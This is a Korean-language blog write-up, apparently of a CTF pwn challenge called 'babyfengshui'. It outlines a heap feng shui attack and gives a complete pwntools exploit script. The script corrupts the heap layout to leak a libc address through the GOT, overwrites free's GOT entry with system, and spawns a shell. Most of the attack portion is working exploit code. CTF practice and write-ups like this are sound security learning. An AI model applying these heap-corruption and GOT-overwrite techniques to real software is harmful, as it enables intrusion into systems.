친구들이랑 1박2일로 서울여행 다녀와서 풀은 첫번째 문제!! 여행다녀오니깐 또 동기부여가 된다. : )
이문제는 Heap Feng Shui라는 기법을 사용해야하는데 할당된 청크의 레이아웃을 변조하는 공격 기법이다! UAF랑 비슷한거 같다.
익스는 대충
1. Heap Feng shui 사용해서 레이아웃을 변조
2. memory leak
3. free를 system으로 쓴 후
4. system("/bin/sh\x00") 실행
: )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
from pwn import *
s = process("./babyfengshui")
elf = ELF("./babyfengshui")
libc = ELF("./libc.so.6")
def add(des_size,name,length,text):
s.sendlineafter("Action: ","0")
s.sendlineafter(":",str(des_size))
s.sendlineafter("name: ",name)
s.sendlineafter("length: ",str(length))
s.sendlineafter("text",text)
def delete(index):
s.sendlineafter("Action: ","1")
s.sendlineafter("index: ",str(index))
def display(index):
s.sendlineafter("Action: ","2")
s.sendlineafter("index: ",str(index))
def update(index,t_length,text):
s.sendlineafter("Action: ","3")
s.sendlineafter("index: ",str(index))
s.sendlineafter("text length: ",str(t_length))
s.sendlineafter("text: ",text)
def quit():
s.sendlineafter("Action: ","4")
add(32,"A"*8,32,"1"*8)
add(32,"B"*8,32,"3"*8)
add(32,"C"*8,32,"/bin/sh\x00")
delete(0)
add(128,"D"*8,32,"5"*8)
pay = "5"*176
pay += p32(elf.got['puts'])
update(3,len(pay),pay)
display(1)
s.recvuntil("ption: ")
leak = u32(s.recv(4))
libc_base = leak - libc.symbols['puts']
print "libc_base : " + hex(libc_base)
system = libc_base + libc.symbols['system']
pay = "5"*176
pay += p32(elf.got['free'])
update(3,len(pay),pay)
update(1,4,p32(system))
delete(2)
s.interactive()
|
cs |
[darkctf] write-up (0) | 2020.09.28 |
---|---|
[DownUnderCTF] Return to what's revenge (0) | 2020.09.20 |
[0CTF_2018] Babystack (0) | 2019.12.03 |
[CodeBlue_2017] Secret_mailer_service (0) | 2019.12.02 |
[CodeBlue_2017] simple_memo_pad (0) | 2019.12.01 |